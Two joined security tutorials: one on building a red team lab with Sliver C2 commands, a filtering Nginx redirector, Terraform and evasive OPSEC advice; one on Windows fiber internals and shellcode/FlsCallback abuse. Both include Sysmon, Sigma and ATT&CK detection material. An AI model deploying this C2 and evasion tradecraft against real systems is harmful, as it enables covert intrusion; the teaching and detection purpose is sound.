Building a Red Team Lab: Infrastructure, VMs, and C2 Setup

Objective: Understand how to design, build, and operate a self-contained red team lab — hypervisor and VM selection, network segmentation, C2 framework deployment, redirector architecture, and OPSEC discipline — so authorized operators get a reproducible practice environment and defenders learn what adversary infrastructure looks like from the inside.


1. Lab Philosophy and Legal Guardrails

A red team lab exists for one reason: to test tradecraft against telemetry without touching production. Everything in this tutorial is for authorized testing inside an isolated environment you own. Never point lab C2 at systems outside your scope.

A dedicated lab gives you two things production cannot. First, repeatability — snapshot, detonate, revert, repeat. Second, observability — you run the blue stack and the red stack side by side and watch every event a real implant generates.

Two build models exist:

  • Air-gapped lab — host-only virtual networks with no internet. Safest for malware detonation and EDR-bypass study.
  • Cloud-backed lab — VPS-hosted team servers and redirectors for testing real callbacks, domain categorization, and redirector chains.

Most learners start air-gapped and graduate to a hybrid with a single controlled egress gateway.


2. Hardware and Hypervisor Selection

A workable lab runs on a single workstation. The constraint is RAM, because a Domain Controller, a Windows endpoint, a Linux target, and a SIEM run concurrently.

ComponentRecommendation
Host RAM16 GB minimum, 32 GB+ for full AD + SIEM
Storage100 GB SSD minimum, 256 GB+ for multi-VM snapshots
CPUQuad-core with virtualization extensions (VT-x/AMD-V)

Choose a Type-2 hypervisor:

FeatureVMware Workstation ProVirtualBox
Nested virtualizationReliableLimited
Advanced networkingLAN SegmentsInternal Network
Snapshot fidelityHighAdequate
CostCommercialFree

VMware Workstation Pro / Fusion is preferred for nested virtualization and snapshot fidelity; VirtualBox is the free alternative with less reliable advanced networking.

Snapshot discipline is non-negotiable. Snapshot before each phase — a clean pre-exploitation baseline, a post-compromise state, a post-persistence state — so you can replay a scenario without rebuilding.


3. Network Architecture Design

Segment the lab into tiers so the attacker subnet, target subnet, and monitoring subnet cannot freely route to one another. This mirrors real network boundaries and forces realistic lateral movement.

Networking ModeBehaviorLab Use
Host-OnlyIsolated subnet, no internetDefault for all tiers
NATVMs share the host IP outboundControlled egress only
LAN Segment / InternalInter-VM only, no hostTarget-to-target traffic
BridgedVM joins physical LANAvoid (leaks to real network)

Build three host-only segments: attacker, target, monitoring. A dedicated “egress” VM with dual NICs (one host-only, one NAT) acts as the only controlled gateway when you must test real C2 callbacks. The monitoring tier should receive logs one-way and remain unreachable from the attacker subnet.


Diagram showing three isolated host-only network tiers — attacker, target, and monitoring — connected through a dual-NIC egress VM acting as the sole gateway to the internet
Three-tier segmentation forces realistic lateral movement and keeps the monitoring subnet unreachable from the attacker tier.

4. Building the Target Network

The target network simulates a small enterprise: a Domain Controller, a domain-joined Windows endpoint, and a Linux host.

VM RoleOSPurpose
Domain ControllerWindows Server 2019/2022AD DS, DNS, DHCP
Windows TargetWindows 10/11 (domain-joined)Implant testing
Linux TargetUbuntu / CentOSCross-platform implants

Promote the DC with AD DS, configure DNS, then join endpoints to the domain. The following script joins a Windows target, points DNS at the DC, and enables WinRM for management.

# Domain join + WinRM enablement for a lab Windows target
$DC = "192.168.56.10"     # Domain Controller IP
$Domain = "lab.local"

# Point DNS at the DC so domain resolution works
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses $DC

# Enable remote management for lab orchestration
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $DC -Force

# Join the domain (prompts for credentials, then reboot)
Add-Computer -DomainName $Domain -Restart

5. Deploying the Blue Team Monitoring Stack

The monitoring tier is what turns a playground into a detection lab. Deploy Wazuh or Security Onion as the SIEM/IDS, then instrument every Windows VM with Sysmon using a community config such as SwiftOnSecurity or Olaf Hartong’s sysmon-modular.

VM RoleOSPurpose
Blue Team / SIEMSecurity Onion / WazuhLog aggregation, IDS, alerting

Forward all Windows and Sysmon channels to the SIEM, enable real-time alerting, and leave Windows Defender enabled on targets so you can observe EDR behavior against your implants. Add Zeek for network metadata — its conn.log is invaluable for spotting beaconing.


6. C2 Framework Selection and Trade-offs

A C2 framework is the infrastructure used to control compromised systems remotely. It has three parts: a C2 server (backend), a C2 client (operator interface), and a C2 agent / implant (payload on the target).

FrameworkLicenseNotes
SliverOpen-source (Bishop Fox)mTLS, HTTP/S, DNS, WireGuard transports; go-to Cobalt Strike alternative
HavocOpen-sourceReal-time client UI via API; Cobalt-Strike-like feel
MythicOpen-sourceDocker-based, web UI, pluggable C2 profiles and agents
MetasploitOpen-sourcemsfconsole, multi/handler; good for catching payloads, weak for long-haul
Cobalt StrikeCommercial (~$3,540/user/yr)Malleable C2, Beacon, Aggressor Script; awareness only

Core architecture primitives apply across all of them:

TermDefinition
Team ServerPersistent backend; never directly internet-facing
Implant / Beacon / AgentPayload on the target that calls back
RedirectorDisposable proxy in front of the team server; assumed to be burned
ListenerServer-side handler waiting for callbacks (e.g., HTTPS/443)
Malleable ProfileConfig shaping HTTP/S traffic to mimic legitimate requests
Sleep / JitterCallback interval plus randomness; breaks beacon regularity

This tutorial uses Sliver as the primary example because it is free, modern, and well-documented at sliver.sh/docs.


7. Deploying Sliver C2

Install the server on a dedicated Ubuntu 22.04 host on the attacker tier. The team server should never be exposed directly — a redirector sits in front of it (Section 8).

# Install Sliver server (run on the dedicated C2 VM)
curl https://sliver.sh/install | sudo bash

# Run as a service so it survives reboots
sudo systemctl enable --now sliver

# Drop into the server console
sliver-server

Inside the console, start an HTTPS listener and generate a Windows x64 beacon. --skip-symbols speeds up builds in a lab; flags change between releases, so verify against the official docs.

# Start an HTTPS listener bound to the redirector-facing interface
https --lhost 192.168.56.20 --lport 443

# Generate a Windows x64 HTTPS beacon
generate beacon --http 192.168.56.20 --os windows --arch amd64 --skip-symbols

# After the implant calls back:
sessions                 # list active sessions
use <session_id>         # interact with a session

The HTTP/S transport is shaped via /root/.sliver/configs/http-c2.json, which controls URIs, headers, and polling behavior. The default mTLS transport listens on 8888.


8. Redirector Architecture

A redirector is a disposable proxy that fronts the team server. Implants talk only to the redirector; if blue team burns its IP, you rebuild it and the long-term server stays hidden.

Implant → Redirector (Nginx/Apache/socat) → C2 Team Server

The redirector filters traffic: requests matching your implant’s expected path and user-agent are forwarded to the team server; everything else is dropped or returned as a benign error or redirected to a legitimate site.

# Nginx redirector: forward only matching C2 traffic, 404 everything else
server {
    listen 443 ssl;
    server_name cdn.example-lab.local;

    location /api/v2/updates {
        # Only forward requests carrying the expected implant User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") {
            return 404;
        }
        proxy_pass https://192.168.56.30:443;   # team server (internal)
        proxy_ssl_verify off;
    }

    # Anything else gets a flat 404 — no team server exposure
    location / {
        return 404;
    }
}

For HTTPS redirectors use Apache, Nginx, or Caddy; for DNS redirectors use socat or iptables. In advanced cloud setups, CDN fronting via CloudFront, Azure CDN, or Cloudflare blends C2 with legitimate traffic. Do not deploy domain-fronting or malleable-profile code from a tutorial — reference framework docs.


Flow diagram showing an implant beaconing to a disposable redirector that filters traffic by path and user-agent, forwarding matched requests to the hidden team server and dropping or redirecting unmatched traffic to a decoy site
Redirectors act as disposable proxies so burning an IP never exposes the long-lived team server.

9. OPSEC and Infrastructure Hygiene

Your infrastructure is your OPSEC. A flat setup is a single point of failure that burns the whole operation.

  • Never connect the operator machine directly to the team server. Tunnel through a VPN overlay (WireGuard, Tailscale/Headscale) or a jump box.
  • Separate infrastructure for phishing, payload hosting, and C2 — three servers, three redirectors.
  • Use aged, categorized domains registered 30+ days prior with a benign-looking category.
  • Rotate redirector IPs and never reuse burned infrastructure.
  • Geofence access via Cloudflare so only the client’s country can reach C2 and campaign domains, blocking external threat-intel scanners.

A minimal operator WireGuard client routes only team-server traffic through the jump box:

# wg0.conf — operator client tunneling to the jump box
[Interface]
PrivateKey = <operator_private_key>
Address    = 10.10.10.2/32

[Peer]
PublicKey  = <jumpbox_public_key>
Endpoint   = jump.example-lab.local:51820
AllowedIPs = 10.10.10.0/24      # only the team-server subnet
PersistentKeepalive = 25

Relevant transports and ports:

ProtocolPortC2 Use
HTTPS443Primary beacon transport
HTTP80Fallback / staging
DNS53Low-and-slow tunneling
SMB Named PipeIPC$Lateral movement pivots
WireGuard51820Operator VPN overlay
mTLS8888Sliver default implant transport

Graph diagram showing an operator machine routing through a WireGuard jump box to three separate infrastructure components — C2 server, phishing server, and payload hosting — each isolated from one another
Separating C2, phishing, and payload infrastructure ensures a single burned server cannot compromise the entire operation.

10. Infrastructure-as-Code with Terraform

Terraform declares lab state in configuration, so a burned redirector is rebuilt in minutes. The example provisions a team server and a redirector, then bootstraps the server with remote-exec.

resource "digitalocean_droplet" "c2_server" {
  name   = "c2-teamserver"
  region = "nyc3"
  size   = "s-2vcpu-4gb"
  image  = "ubuntu-22-04-x64"

  provisioner "remote-exec" {
    inline = ["curl https://sliver.sh/install | sudo bash"]
  }
}

resource "digitalocean_droplet" "redirector" {
  name   = "c2-redirector"
  region = "nyc3"
  size   = "s-1vcpu-1gb"
  image  = "ubuntu-22-04-x64"
}

output "c2_ip"        { value = digitalocean_droplet.c2_server.ipv4_address }
output "redirector_ip"{ value = digitalocean_droplet.redirector.ipv4_address }

terraform apply builds the stack and emits IPs; terraform destroy tears it down. Teardown-and-rebuild cycles keep infrastructure disposable.


11. Common Attacker Techniques

These are the primitives a lab is built to study and detect.

TechniqueDescription
HTTPS beaconingImplant polls a redirector over 443 to blend with web traffic
DNS tunnelingEncodes C2 in DNS queries for low-and-slow egress
Redirector chainingDisposable proxies hide the long-term team server
Domain frontingCDN obfuscation routes C2 through trusted domains
Malleable profilesShape headers/URIs/jitter to mimic legitimate apps
SMB named-pipe C2Internal pivots over IPC$ for lateral movement
Ingress tool transferImplant downloads additional tooling to the target

12. Defensive Strategies and Detection

Run the same lab as blue team to build detections. Sysmon plus a tuned config surfaces nearly every C2 stage.

Event IDNameC2 Relevance
1Process CreationImplant execution; check ParentImage, CommandLine, Hashes
3Network ConnectionConnections to C2; DestinationIp, DestinationPort, Image
7Image LoadedDLL loads by implant; Signed, Signature
8CreateRemoteThreadInjection; SourceImageTargetImage
11FileCreateStager writes payload to disk
22DNSEventBeaconing via unusual or excessive QueryName
23FileDeleteImplant self-deletes after staging

Tune Sysmon to capture outbound connections from non-browser processes and DNS queries from shells:

<RuleGroup name="C2 Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">443</DestinationPort>
    <DestinationPort condition="is">53</DestinationPort>
  </NetworkConnect>
  <DnsQuery onmatch="include">
    <Image condition="end with">powershell.exe</Image>
    <Image condition="end with">cmd.exe</Image>
  </DnsQuery>
</RuleGroup>

A Sigma rule for beacon-like connections keys on Sysmon EventID 3, common C2 ports, and an allowlist of browsers. Correlate hits with short, regular intervals to catch low-jitter beacons.

title: Non-Browser Outbound to Common C2 Ports
logsource:
  product: windows
  service: sysmon
  category: network_connection
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
      - 53
    Initiated: 'true'
  filter_browsers:
    Image|contains:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  condition: selection and not filter_browsers
fields:
  - Image
  - DestinationIp
  - DestinationPort
  - DestinationHostname
level: high

Layer behavioral analytics on top:

  • Jitter analysis — alert on outbound HTTPS at regular intervals (e.g., 60 ± 5 s); Zeek conn.log excels at long-duration, low-byte sessions.
  • Named-pipe anomalies — Cobalt Strike’s default msagent_* pipe names appear in Sysmon EID 17/18.
  • Anomalous parent-child chainsWord.exe → cmd.exe → powershell.exe is a classic phishing chain.
  • User-agent mismatchsvchost.exe issuing a Chrome user-agent is anomalous.

Enable Command Line Auditing via GPO (Audit Process Creation → include command line, EID 4688) and forward Microsoft-Windows-PowerShell/Operational (EID 4104) script-block logs to the SIEM. Keep the monitoring tier one-way and unreachable from the attacker subnet.

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Command and Control (tactic)TA0011Beacon traffic correlation across SIEM
Application Layer ProtocolT1071Sysmon EID 3, Zeek conn.log
Web ProtocolsT1071.001Non-browser HTTPS to rare destinations
DNST1071.004Sysmon EID 22, DNS-Client ETW
Proxy / External ProxyT1090 / T1090.002Redirector IP reputation, JA3 anomalies
Domain FrontingT1090.004TLS SNI vs. Host header mismatch
Protocol TunnelingT1572mTLS/DoH volume anomalies
Ingress Tool TransferT1105Sysmon EID 11, download-and-exec
Acquire Infrastructure: VPS / DomainsT1583.003 / T1583.001Newly registered / uncategorized domains
Remote Access SoftwareT1219RMM tools acting as C2

13. Tools for Red Team Lab Analysis

ToolDescriptionLink
SliverOpen-source C2 server, client, implantssliver.sh
WazuhSIEM + EDR agent for the blue tierwazuh.com
Security OnionIDS + log management distrosecurityonionsolutions.com
SysmonEndpoint telemetry (process/network/DNS)microsoft.com
ZeekNetwork metadata and beacon huntingzeek.org
TerraformInfrastructure-as-code provisioningterraform.io
WireGuardOperator VPN overlaywireguard.com
NginxRedirector reverse proxynginx.org

Summary

  • A red team lab is a closed, segmented environment where authorized operators rehearse C2 tradecraft while the blue stack records every event it generates.
  • Tiered host-only networks, snapshot discipline, and a Type-2 hypervisor make scenarios isolated and repeatable.
  • A team server must never be internet-facing; disposable redirectors front it and are rebuilt with infrastructure-as-code when burned.
  • OPSEC is architecture — operator VPN overlays, separated phishing/C2/payload infrastructure, aged domains, and rotated IPs keep operations deniable.
  • Detect C2 with Sysmon EID 3/22, jitter and named-pipe analysis, and Sigma rules, mapping every primitive back to MITRE TA0011.

Related Tutorials

References

Fibers: User-Mode Cooperative Threads

Objective: Understand the internals of Windows fibers — how they relate to the TEB, the undocumented FIBER structure, Fiber Local Storage, and the cooperative context switch performed entirely in user mode — so defenders can recognize and detect adversarial use of fiber APIs for stealthy in-process execution.


1. Cooperative vs. Preemptive Scheduling

A thread is the Windows kernel’s unit of execution. The scheduler picks ready threads, slices CPU time, and preempts them at quantum boundaries — all driven from ntoskrnl.exe. A fiber is different: it is a unit of execution that the kernel does not know about. Fibers run inside threads, and the application — not the OS — chooses when one fiber yields and another runs.

Two consequences follow immediately:

  • A fiber switch never crosses the user/kernel boundary. No syscall is issued. SwitchToFiber lives in KernelBase.dll and returns without touching ntoskrnl.
  • From the kernel’s perspective, all activity performed by a fiber is attributed to the thread that runs it. Accessing TLS from a fiber accesses the thread’s TLS, not a per-fiber slot.

This is the root of both the elegance and the security relevance of fibers: they are coroutines built directly into the Win32 ABI, with stack pivots and register saves the kernel cannot see.


2. The Fiber Execution Model

A fiber consists of three things: a stack, a saved CPU context (registers, instruction pointer, SEH frame), and a start routine that receives an opaque parameter. A thread becomes “fiber-aware” by calling ConvertThreadToFiber, at which point that thread is permanently a fiber host until it calls ConvertFiberToThread.

RuleBehavior
Must convert firstYou cannot call SwitchToFiber from a thread until ConvertThreadToFiber runs.
Fiber function returningIf a fiber’s start routine returns, the host thread calls ExitThread and terminates.
Self-deleteIf the currently running fiber calls DeleteFiber on itself, the host thread exits.
Cross-thread deleteDeleting a fiber that is the selected fiber of another thread will likely crash that thread — its stack just disappeared.
Cross-thread switchSwitchToFiber accepts a fiber created by a different thread; the caller becomes the new host.

These rules are load-bearing — most fiber bugs (and several known abuse primitives) come from violating them.


3. TEB Layout and the FIBER Structure

The Thread Environment Block (TEB) tracks the per-thread fiber state. Three fields matter:

FieldTypeRole
NtTib.FiberDataPVOIDPointer to the current fiber’s FIBER structure
HasFiberDataUSHORT : 1Bitfield set by ConvertThreadToFiberEx; indicates the thread hosts fibers
FlsDataPVOIDPointer to the FLS slot array for the current fiber

ConvertThreadToFiberEx calls NtCurrentTeb(), checks Teb->HasFiberData, and if the thread is already a fiber returns with ERROR_ALREADY_FIBER. Otherwise it allocates a FIBER structure on the process heap via RtlAllocateHeap and stores its address in NtTib.FiberData.

The FIBER struct itself is not officially documented. The shape below is reconstructed from ReactOS sources and public symbols and is subject to change across Windows versions:

// Reconstructed from public symbols / ReactOS — illustrative only.
typedef struct _FIBER {
    PVOID    FiberData;          // lpParameter passed at creation
    PVOID    ExceptionList;      // Top of SEH chain (NT_TIB.ExceptionList)
    PVOID    StackBase;          // High end of the fiber stack
    PVOID    StackLimit;         // Low end (guard page)
    PVOID    DeallocationStack;  // Original VirtualAlloc base
    CONTEXT  FiberContext;       // Saved CPU state: RIP, RSP, RBP, RBX, ...
    ULONG    FiberFlags;         // FIBER_FLAG_FLOAT_SWITCH, etc.
    PVOID    ActivationContext;  // Per-fiber activation context stack
    PVOID    FlsSlots;           // Per-fiber FLS slot array
} FIBER, *PFIBER;

You must never read or write this structure directly. The Win32 fiber functions manage its contents; treating the returned LPVOID as opaque is part of the contract.


4. The Core Fiber API

The full surface is small. Most of winbase.h and fibersapi.h boils down to these functions:

FunctionPurpose
ConvertThreadToFiberPromote the calling thread into a fiber; required first
ConvertThreadToFiberExAs above; accepts FIBER_FLAG_FLOAT_SWITCH
CreateFiberAllocate stack + FIBER struct; record entry point and parameter
CreateFiberExAs above; accepts dwStackCommitSize and flags
SwitchToFiberCooperative context switch to the supplied fiber
DeleteFiberFree the fiber’s stack, context, and FIBER data
ConvertFiberToThreadDemote back to a plain thread; required to avoid leaks
GetCurrentFiberReturns the current FIBER address (intrinsic — no CALL)
GetFiberDataReturns the lpParameter value (intrinsic — no CALL)

The exact CreateFiber signature, per MSDN:

LPVOID CreateFiber(
    SIZE_T                dwStackSize,    // 0 = default, grows up to 1 MB
    LPFIBER_START_ROUTINE lpStartAddress, // void StartRoutine(LPVOID lpParameter)
    LPVOID                lpParameter     // passed to the fiber function
);

GetCurrentFiber and GetFiberData are compiler intrinsics on MSVC — they inline directly to a gs:[0x20]/fs:[0x10] read of NtTib.FiberData. They produce no import thunk and no CALL instruction, which has direct consequences for IAT-based detection.


5. Fiber Lifecycle: A Minimal Example

This walks the canonical create → switch → yield → delete sequence. Note how g_mainFiber is the fiber identity of the original thread, returned by ConvertThreadToFiber.

#include <windows.h>
#include <stdio.h>

LPVOID g_mainFiber  = NULL;
LPVOID g_workFiber  = NULL;

VOID CALLBACK WorkerFiberProc(LPVOID lpParam) {
    printf("[worker] running on fiber %p, param=%p\n",
           GetCurrentFiber(), lpParam);

    // Cooperative yield — control returns to the main fiber.
    SwitchToFiber(g_mainFiber);

    printf("[worker] resumed; returning will ExitThread()\n");
    SwitchToFiber(g_mainFiber);   // never let the routine return
}

int main(void) {
    // Promote thread; TEB->HasFiberData becomes 1.
    g_mainFiber = ConvertThreadToFiber(NULL);

    // 64 KiB stack; entry = WorkerFiberProc; param = 0xDEADBEEF.
    g_workFiber = CreateFiber(0x10000, WorkerFiberProc, (LPVOID)0xDEADBEEF);

    SwitchToFiber(g_workFiber);   // first run of worker
    printf("[main] back from worker\n");
    SwitchToFiber(g_workFiber);   // resume worker

    DeleteFiber(g_workFiber);     // safe: not the running fiber
    ConvertFiberToThread();       // demote; release fiber bookkeeping
    return 0;
}

Forgetting ConvertFiberToThread leaks the main fiber’s FIBER allocation on the process heap. Forgetting to yield back before the worker returns terminates the host thread via ExitThread.


6. Context Switching Internals

SwitchToFiber is the heart of the API. Conceptually, it performs:

  1. Save the current CPU state (RBX, RBP, RDI, RSI, R12R15, RSP, RIP on x64) into the current fiber’s FiberContext.
  2. Save the SEH chain head (NtTib.ExceptionList) and stack bounds (StackBase, StackLimit) into the current FIBER.
  3. If FIBER_FLAG_FLOAT_SWITCH is set, save the XMM/MMX/x87 state.
  4. Update NtTib.FiberData to point at the target FIBER.
  5. Restore the target fiber’s stack bounds, SEH chain, FLS pointer, and CPU registers.
  6. Return to the saved instruction pointer of the target — execution resumes there on the target’s stack.

Critically, this is a pure user-mode operation. No syscall, no int 2e, no ETW event from Microsoft-Windows-Kernel-Process. The host thread’s kernel-visible state (KTHREAD, ETHREAD) is unchanged; only RIP/RSP move from the kernel’s view.

; Conceptual sketch — SwitchToFiber x64 prologue
mov     gs:[0x20], rcx          ; NtTib.FiberData = target
mov     [rax + FiberContextOff + Rsp], rsp
mov     [rax + FiberContextOff + Rip], <return addr>
; ... restore target ...
mov     rsp, [rcx + FiberContextOff + Rsp]
jmp     qword [rcx + FiberContextOff + Rip]

Flow diagram showing the six steps of SwitchToFiber: saving registers, saving SEH and stack bounds, updating NtTib.FiberData, restoring target registers, and jumping to the target fiber's saved RIP — all in user mode with no syscall
SwitchToFiber completes an entire stack-and-register swap inside KernelBase.dll without issuing a single syscall or generating a kernel ETW event.

7. Fiber Local Storage (FLS)

TLS is per-thread. During a fiber switch the TEB’s TLS array is not swapped, so two fibers sharing a thread share TLS — a classic source of corruption when porting thread-based libraries to fibers. FLS solves this: it is per-fiber, and SwitchToFiber updates TEB->FlsData to the incoming fiber’s slot array.

FunctionPurpose
FlsAlloc(PFLS_CALLBACK_FUNCTION)Allocate an FLS index; optional destructor callback
FlsSetValue(DWORD, PVOID)Store a per-fiber value at the given index
FlsGetValue(DWORD)Read the current fiber’s value at the given index
FlsFree(DWORD)Release the index; callbacks fire for live fibers

The destructor callback pointers are kept process-wide in PEB->FlsCallback. They fire on fiber deletion and thread exit, and — as covered below — they are a known abuse target.

DWORD g_flsIndex;

VOID WINAPI OnFlsDestroy(PVOID p) {
    HeapFree(GetProcessHeap(), 0, p);
}

VOID CALLBACK FiberA(LPVOID _) {
    char *buf = (char*)HeapAlloc(GetProcessHeap(), 0, 32);
    lstrcpyA(buf, "fiber-A-private");
    FlsSetValue(g_flsIndex, buf);
    SwitchToFiber(g_mainFiber);
    printf("[A] still mine: %s\n", (char*)FlsGetValue(g_flsIndex));
    SwitchToFiber(g_mainFiber);
}

int wmain(void) {
    g_mainFiber = ConvertThreadToFiber(NULL);
    g_flsIndex  = FlsAlloc(OnFlsDestroy);
    // ... create FiberA, FiberB, switch between them ...
    // Each fiber sees its own FlsGetValue(g_flsIndex) result.
}

Hierarchy diagram showing how PEB holds FlsCallback destructor pointers, TEB holds NtTib.FiberData pointing to the FIBER structure and FlsData pointing to the per-fiber FLS slot array, with the destructor relationship between PEB FlsCallback and the slot array
FLS slot arrays are swapped per-fiber on every SwitchToFiber call, while PEB→FlsCallback holds process-wide destructor pointers that fire on fiber deletion — a known adversarial overwrite target.

8. Building a Round-Robin Cooperative Scheduler

Fibers shine when modeling cooperative pipelines: parsers, generators, state machines. A trivial scheduler is a dispatcher fiber that round-robins through worker fibers, each of which yields back via SwitchToFiber(g_mainFiber).

#define N 3
LPVOID g_workers[N];
LPVOID g_mainFiber;

VOID CALLBACK Worker(LPVOID id) {
    for (int i = 0; i < 4; ++i) {
        printf("[worker %llu] step %d\n", (ULONG_PTR)id, i);
        SwitchToFiber(g_mainFiber);   // yield
    }
    // Final yield — never return from a fiber routine.
    SwitchToFiber(g_mainFiber);
}

int main(void) {
    g_mainFiber = ConvertThreadToFiber(NULL);
    for (ULONG_PTR i = 0; i < N; ++i)
        g_workers[i] = CreateFiber(0, Worker, (LPVOID)i);

    for (int round = 0; round < 4; ++round)
        for (int i = 0; i < N; ++i)
            SwitchToFiber(g_workers[i]);

    for (int i = 0; i < N; ++i) DeleteFiber(g_workers[i]);
    ConvertFiberToThread();
    return 0;
}

This is the same pattern Microsoft SQL Server used for its historical “lightweight pooling” / fiber mode — one OS thread, many SQL user contexts.


9. Legitimate Use Cases and Pitfalls

Use CaseReason
Coroutines / generatorsNative stack switching with no setjmp tricks
Porting cooperative legacy codeUNIX swapcontext-style schedulers map cleanly
Database enginesSQL Server fiber mode for high-concurrency workloads
Game engines / scripting hostsPer-script execution context with explicit yield

Pitfalls are sharp:

  • COM is apartment-affinitive to threads, not fibers. Initializing COM on one fiber and using it from another corrupts COM bookkeeping.
  • CRT and many MS libraries stash state in TLS. Switching fibers leaves that state behind, producing subtle corruption.
  • Critical sections record the thread as the owner — a different fiber on the same thread re-enters without blocking.
  • Stack-cookies and __try/__except rely on SEH chain integrity; SwitchToFiber handles this, but raw RtlInstallFunctionTableCallback on a fiber stack must use the fiber’s StackBase/StackLimit.

10. Common Attacker Techniques

Fibers are attractive to adversaries because the entire execution primitive lives in user mode — no NtCreateThread, no CreateRemoteThread, no kernel ETW event for the act of switching execution. The patterns below are documented in public threat-research literature; described conceptually here for detection engineers.

TechniqueDescription
In-process shellcode via SwitchToFiberAllocate PAGE_EXECUTE_READWRITE memory, copy a payload, call ConvertThreadToFiber then CreateFiber with the payload as lpStartAddress, then SwitchToFiber — execution begins with no new thread
Fiber-based ROP stagingA fiber’s saved CONTEXT includes RIP and RSP; manipulating a FIBER struct’s context fields lets an attacker pivot the stack on SwitchToFiber
PEB->FlsCallback overwriteOverwrite an entry in the process-wide FLS callback array; on the next FlsFree or fiber/thread teardown the attacker-controlled pointer is invoked with attacker-controlled data
TLS evasion via FLSHide per-task state in FLS slots that defensive tooling enumerating TLS will miss
API hiding via intrinsicsGetCurrentFiber/GetFiberData produce no IAT entry; static analysis missing gs:[0x20] reads will not see fiber-aware code

The base ATT&CK parent for fiber-based in-process execution is T1055 Process Injection; MITRE has not assigned a fiber-specific sub-technique, so the closest analogue is T1055.004 (APC) which shares the “queue execution to a thread’s user-mode context” model.


11. Defensive Strategies & Detection

There is no kernel event for SwitchToFiber. Detection must focus on the setup that precedes fiber-based execution (RWX allocation, suspicious entry points) and on memory forensics of fiber state at rest.

Sysmon coverage for the surrounding behavior:

Event IDSignal
1Process Create — establish baseline lineage
8CreateRemoteThread — co-occurs with cross-process fiber staging
10ProcessAccess — reflective loaders reading remote memory before fiber dispatch
17/18Named-pipe create/connect — common multi-stage loader IPC
25ProcessTampering — image-region tampering in a fiber host

ETW providers worth subscribing:

  • Microsoft-Windows-Threat-Intelligence — flags VirtualAlloc/VirtualProtect with PAGE_EXECUTE_*, the precursor to fiber shellcode staging.
  • Microsoft-Windows-Kernel-Process — does not see fiber switches but covers process/thread lifecycle.
  • A user-mode consumer hooking NtAllocateVirtualMemory + NtProtectVirtualMemory gives the strongest pre-execution signal.

Memory forensics indicators:

  • Walk TEB.NtTib.FiberData on every thread. Threads with HasFiberData == 1 in processes that have no business using fibers are immediately interesting.
  • Use Volatility malfind to surface private, executable, non-image-backed pages — the target of a fiber-staged payload.
  • Dump PEB->FlsCallback and verify every entry resolves to an expected module’s .text section.

Sigma sketch for the cross-process precursor to fiber-based payload staging:

title: Suspicious ProcessAccess Preceding User-Mode Fiber Execution
id: 8f5c1d6e-3c7b-4b1f-9e1e-7e3e6e2b0a1f
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    GrantedAccess:
      - '0x1fffff'   # PROCESS_ALL_ACCESS
      - '0x1f0fff'
    TargetImage|endswith:
      - '\explorer.exe'
      - '\svchost.exe'
  filter_legit:
    SourceImage|endswith:
      - '\MsMpEng.exe'
      - '\SenseIR.exe'
  condition: selection and not filter_legit
level: high
tags:
  - attack.t1055
  - attack.t1106

Hardening:

  • SetProcessMitigationPolicy with ProcessDynamicCodePolicy (Arbitrary Code Guard) blocks creation of new executable pages, defeating fiber shellcode staging.
  • Control Flow Guard restricts indirect-call targets, narrowing SwitchToFiber and FLS-callback abuse to valid entry points.
  • HVCI / memory integrity prevents kernel-side tampering of FIBER structures via vulnerable drivers.
  • WDAC / AppLocker policies that deny PAGE_EXECUTE_* allocations on non-JIT processes raise the cost of any in-process execution primitive.

Graph diagram mapping fiber abuse detection signals: RWX allocation feeding ETW Threat-Intelligence provider and Sysmon events, memory forensics walking PEB FlsCallback for non-text-section pointers, and ACG/CFG/HVCI as hardening mitigations
Because SwitchToFiber produces no kernel telemetry, defenders must pivot to pre-execution signals like RWX allocations, memory forensics on FiberData and FlsCallback, and ACG to deny executable page creation entirely.

12. Tools for Fiber Analysis

ToolDescriptionLink
WinDbgDump TEB, walk NtTib.FiberData, inspect FIBER.FiberContextmicrosoft.com
Process HackerEnumerate threads, inspect TEB, examine private RWX regionsprocesshacker.sf.io
Process MonitorCapture VirtualAlloc/VirtualProtect sequences preceding fiber dispatchsysinternals.com
Volatility 3windows.malfind, TEB plugins, FLS callback inspectionvolatilityfoundation.org
pykd / WinDbg JSScripted walks of FIBER chains across all threadsgithomelab.ru/pykd
x64dbgUser-mode debugging of fiber-aware binaries; trace gs:[0x20] readsx64dbg.com
GhidraStatic analysis; recognize GetCurrentFiber intrinsic patternghidra-sre.org
SysmonSurrounding telemetry (Events 1, 8, 10, 25)sysinternals.com

A minimal WinDbg recipe to surface fiber-hosting threads in a captured process:

0:000> !teb
TEB at 000000abcd123000
    ...
    NtTib.FiberData:  0000020fabcde000
    ...
0:000> dt ntdll!_TEB @$teb HasFiberData
0:000> dq 0000020fabcde000 L40   ; raw FIBER bytes — layout version-dependent

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Process InjectionT1055Memory scan for private RWX regions; ETW TI on NtAllocateVirtualMemory
Process Injection: Asynchronous Procedure CallT1055.004Closest published sub-technique to fiber-based in-process execution
Native APIT1106API-call auditing of CreateFiber/SwitchToFiber/FlsAlloc
Reflective Code LoadingT1620Image-load anomalies; fiber entry point in non-image-backed memory
Impair Defenses: Disable or Modify ToolsT1562.001ETW/AMSI hook integrity checks; user-mode hook auditing

MITRE ATT&CK does not currently list a “Fiber Injection” sub-technique (current as of v16.1). Vendor research treats fiber-based execution as a variant of T1055; map accordingly.


Summary

  • A fiber is a user-mode cooperative thread invisible to the kernel scheduler — SwitchToFiber performs a stack and register swap entirely in KernelBase.dll with no syscall.
  • The TEB exposes the fiber state via NtTib.FiberData, HasFiberData, and FlsData; the FIBER structure itself is undocumented and version-dependent.
  • TLS is per-thread and is not swapped on a fiber switch; FLS is per-fiber and is swapped, with destructor callbacks tracked in PEB->FlsCallback.
  • Adversaries abuse fibers for in-process shellcode execution, ROP staging via the saved CONTEXT, and code execution via PEB->FlsCallback overwrites — none of which trigger thread-creation telemetry.
  • Detect via pre-execution signals (ETW TI on RWX allocations, Sysmon Event IDs 8/10/25), memory forensics on private executable regions and FlsCallback integrity, and hardening with ACG, CFG, and HVCI.

